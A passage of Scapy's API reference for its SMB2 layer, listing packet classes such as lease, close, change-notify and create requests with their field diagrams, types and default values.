 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          QUERYSTATUS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MAXIMALACCESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE          


SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE fields






	QueryStatus

	LEIntEnumField

	0



	MaximalAccess

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.smb2.SMB2_CREATE_QUERY_ON_DISK_ID(_pkt, /, *, DiskFileId=0, VolumeId=0, Reserved=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2374-L2379]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DISKFILEID                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VOLUMEID                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_CREATE_QUERY_ON_DISK_ID                 


SMB2_CREATE_QUERY_ON_DISK_ID fields






	DiskFileId

	XLELongField

	0



	VolumeId

	XLELongField

	0



	Reserved

	XStrFixedLenField

	b''















	
class scapy.layers.smb2.SMB2_CREATE_REQUEST_LEASE(_pkt, /, *, LeaseKey=b'', LeaseState=<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>, LeaseFlags=<Flag 0 ()>, LeaseDuration=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2464-L2467]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LEASEKEY                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASESTATE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASEFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LEASEDURATION                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SMB2_CREATE_REQUEST_LEASE                  


SMB2_CREATE_REQUEST_LEASE fields






	LeaseKey

	XStrFixedLenField

	b''



	LeaseState

	FlagsField

	<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>



	LeaseFlags

	FlagsField

	<Flag 0 ()>



	LeaseDuration

	LELongField

	0















	
class scapy.layers.smb2.SMB2_CREATE_REQUEST_LEASE_V2(_pkt, /, *, LeaseKey=b'', LeaseState=<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>, LeaseFlags=<Flag 0 ()>, LeaseDuration=0, ParentLeaseKey=b'', Epoch=0, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2470-L2473]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LEASEKEY                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASESTATE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASEFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LEASEDURATION                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         PARENTLEASEKEY                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             EPOCH             |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_CREATE_REQUEST_LEASE_V2                 


SMB2_CREATE_REQUEST_LEASE_V2 fields






	LeaseKey

	XStrFixedLenField

	b''



	LeaseState

	FlagsField

	<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>



	LeaseFlags

	FlagsField

	<Flag 0 ()>



	LeaseDuration

	LELongField

	0



	ParentLeaseKey

	XStrFixedLenField

	b''



	Epoch

	LEShortField

	0



	Reserved

	LEShortField

	0















	
class scapy.layers.smb2.SMB2_CREATE_RESPONSE_LEASE(_pkt, /, *, LeaseKey=b'', LeaseState=<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>, LeaseFlags=<Flag 0 ()>, LeaseDuration=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2382-L2405]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LEASEKEY                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASESTATE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASEFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LEASEDURATION                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_CREATE_RESPONSE_LEASE                  


SMB2_CREATE_RESPONSE_LEASE fields






	LeaseKey

	XStrFixedLenField

	b''



	LeaseState

	FlagsField

	<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>



	LeaseFlags

	FlagsField

	<Flag 0 ()>



	LeaseDuration

	LELongField

	0















	
class scapy.layers.smb2.SMB2_CREATE_RESPONSE_LEASE_V2(_pkt, /, *, LeaseKey=b'', LeaseState=<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>, LeaseFlags=<Flag 0 ()>, LeaseDuration=0, ParentLeaseKey=b'', Epoch=0, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2408-L2414]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LEASEKEY                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASESTATE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LEASEFLAGS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LEASEDURATION                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         PARENTLEASEKEY                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             EPOCH             |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_CREATE_RESPONSE_LEASE_V2                


SMB2_CREATE_RESPONSE_LEASE_V2 fields






	LeaseKey

	XStrFixedLenField

	b''



	LeaseState

	FlagsField

	<Flag 7 (SMB2_LEASE_READ_CACHING+SMB2_LEASE_HANDLE_CACHING+SMB2_LEASE_WRITE_CACHING)>



	LeaseFlags

	FlagsField

	<Flag 0 ()>



	LeaseDuration

	LELongField

	0



	ParentLeaseKey

	XStrFixedLenField

	b''



	Epoch

	LEShortField

	0



	Reserved

	LEShortField

	0















	
class scapy.layers.smb2.SMB2_CREATE_TIMEWARP_TOKEN(_pkt, /, *, Timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2458-L2461]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_CREATE_TIMEWARP_TOKEN                  


SMB2_CREATE_TIMEWARP_TOKEN fields






	Timestamp

	LELongField

	0















	
class scapy.layers.smb2.SMB2_Cancel_Request(_pkt, /, *, StructureSize=4, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3103-L3108]

	Bases: _SMB2_Payload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Cancel_Request                     


SMB2_Cancel_Request fields






	StructureSize

	XLEShortField

	4



	Reserved

	LEShortField

	0















	
class scapy.layers.smb2.SMB2_Change_Notify_Request(_pkt, /, *, StructureSize=32, Flags=<Flag 0 ()>, OutputBufferLength=2048, FileId=<SMB2_FILEID  |>, CompletionFilter=<Flag 0 ()>, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3523-L3558]

	Bases: _SMB2_Payload


	
Command = 15

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       OUTPUTBUFFERLENGTH                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |        COMPLETIONFILTER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Change_Notify_Request                  


SMB2_Change_Notify_Request fields






	StructureSize

	XLEShortField

	32



	Flags

	FlagsField

	<Flag 0 ()>



	OutputBufferLength

	LEIntField

	2048



	FileId

	PacketField

	<SMB2_FILEID  |>



	CompletionFilter

	FlagsField

	<Flag 0 ()>



	Reserved

	LEIntField

	0















	
class scapy.layers.smb2.SMB2_Change_Notify_Response(_pkt, /, *, StructureSize=9, OutputBufferOffset=None, OutputLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3570-L3606]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 15

	




	
OFFSET = 72

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |       OUTPUTBUFFEROFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           OUTPUTLEN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_Change_Notify_Response                 


SMB2_Change_Notify_Response fields






	StructureSize

	XLEShortField

	9



	OutputBufferOffset

	LEShortField

	None



	OutputLen

	LEIntField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3594-L3606]

	








	
class scapy.layers.smb2.SMB2_Close_Request(_pkt, /, *, StructureSize=24, Flags=<Flag 0 ()>, Reserved=0, FileId=<SMB2_FILEID  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2806-L2814]

	Bases: _SMB2_Payload


	
Command = 6

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Close_Request                      


SMB2_Close_Request fields






	StructureSize

	XLEShortField

	24



	Flags

	FlagsField

	<Flag 0 ()>



	Reserved

	LEIntField

	0



	FileId

	PacketField

	<SMB2_FILEID  |>















	
class scapy.layers.smb2.SMB2_Close_Response(_pkt, /, *, StructureSize=60, Flags=<Flag 0 ()>, Reserved=0, CreationTime=0, LastAccessTime=0, LastWriteTime=0, ChangeTime=0, AllocationSize=4096, EndOfFile=0, FileAttributes=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2826-L2838]

	Bases: _SMB2_Payload


	
Command = 6

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATIONTIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTACCESSTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTWRITETIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANGETIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENDOFFILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Close_Response                     


SMB2_Close_Response fields






	StructureSize

	XLEShortField

	60



	Flags

	FlagsField

	<Flag 0 ()>



	Reserved

	LEIntField

	0



	CreationTime

	UTCTimeField

	0



	LastAccessTime

	UTCTimeField

	0



	LastWriteTime

	UTCTimeField

	0



	ChangeTime

	UTCTimeField

	0



	AllocationSize

	LELongField

	4096



	EndOfFile

	LELongField

	0



	FileAttributes

	FlagsField

	0















	
class scapy.layers.smb2.SMB2_Compression_Capabilities(_pkt, /, *, CompressionAlgorithmCount=None, Padding=0, Flags=0, CompressionAlgorithms=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1838-L1865]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1864-L1865]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   COMPRESSIONALGORITHMCOUNT   |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COMPRESSIONALGORITHMS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_Compression_Capabilities                


SMB2_Compression_Capabilities fields






	CompressionAlgorithmCount

	FieldLenField

	None



	Padding

	ShortField

	0



	Flags

	IntEnumField

	0



	CompressionAlgorithms

	FieldListField

	[]















	
class scapy.layers.smb2.SMB2_Compression_Transform_Header(_pkt, /, *, Start=b'\xfcSMB', OriginalCompressedSegmentSize=0, CompressionAlgorithm=0, Flags=0, Offset_or_Length=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3794-L3809]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             START                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 ORIGINALCOMPRESSEDSEGMENTSIZE                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      COMPRESSIONALGORITHM     |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        OFFSET OR LENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_Compression_Transform_Header              


SMB2_Compression_Transform_Header fields






	Start

	StrFixedLenField

	b'\xfcSMB'



	OriginalCompressedSegmentSize

	LEIntField

	0



	CompressionAlgorithm

	LEShortEnumField

	0



	Flags

	ShortEnumField

	0



	Offset_or_Length

	XLEIntField

	0















	
class scapy.layers.smb2.SMB2_Create_Context(_pkt, /, *, Next=None, NameBufferOffset=None, NameLen=None, Reserved=0, DataBufferOffset=None, DataLen=None, Buffer=[], pad=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2517-L2619]

	Bases: _NTLMPayloadPacket


	
OFFSET = 16

	




	
aliastypes

	




	
default_payload_class(_)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2593-L2594]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NEXT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        NAMEBUFFEROFFSET       |            NAMELEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           |        DATABUFFEROFFSET       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DATALEN                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Create_Context                     


SMB2_Create_Context fields






	Next

	LEIntField

	None



	NameBufferOffset

	XLEShortField

	None



	NameLen

	LEShortField

	None



	Reserved

	ShortField

	0



	DataBufferOffset

	XLEShortField

	None



	DataLen

	LEIntField

	None



	Buffer

	_NTLMPayloadField

	[]



	pad

	StrLenField

	b''











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2596-L2619]

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2555-L2591]

	








	
class scapy.layers.smb2.SMB2_Create_Request(_pkt, /, *, StructureSize=57, ShareType=0, RequestedOplockLevel=0, ImpersonationLevel=0, SmbCreateFlags=0, Reserved=0, DesiredAccess=<Flag 0 ()>, FileAttributes=<Flag 128 (FILE_ATTRIBUTE_NORMAL)>, ShareAccess=<Flag 0 ()>, CreateDisposition=1, CreateOptions=<Flag 0 ()>, NameBufferOffset=None, NameLen=None, CreateContextsBufferOffset=None, CreateContextsLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2633-L2740]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 5

	




	
OFFSET = 120

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |   SHARETYPE   |REQUESTEDOPLOCK|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       IMPERSONATIONLEVEL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SMBCREATEFLAGS                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DESIREDACCESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SHAREACCESS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       CREATEDISPOSITION                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CREATEOPTIONS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        NAMEBUFFEROFFSET       |            NAMELEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   CREATECONTEXTSBUFFEROFFSET                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       CREATECONTEXTSLEN                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_Create_Request                     


SMB2_Create_Request fields






	StructureSize

	XLEShortField

	57



	ShareType

	ByteField

	0



	RequestedOplockLevel

	ByteEnumField

	0



	ImpersonationLevel

	LEIntEnumField

	0



	SmbCreateFlags

	LELongField

	0



	Reserved

	LELongField

	0



	DesiredAccess

	FlagsField

	<Flag 0 ()>



	FileAttributes

	FlagsField

	<Flag 128 (FILE_ATTRIBUTE_NORMAL)>



	ShareAccess

	FlagsField

	<Flag 0 ()>



	CreateDisposition

	LEIntEnumField

	1



	CreateOptions

	FlagsField

	<Flag 0 ()>



	NameBufferOffset

	XLEShortField

	None



	NameLen

	LEShortField

	None



	CreateContextsBufferOffset

	XLEIntField

	None



	CreateContextsLen

	LEIntField

	None



	Buffer

	_NTLMPayloadField

	[]











	
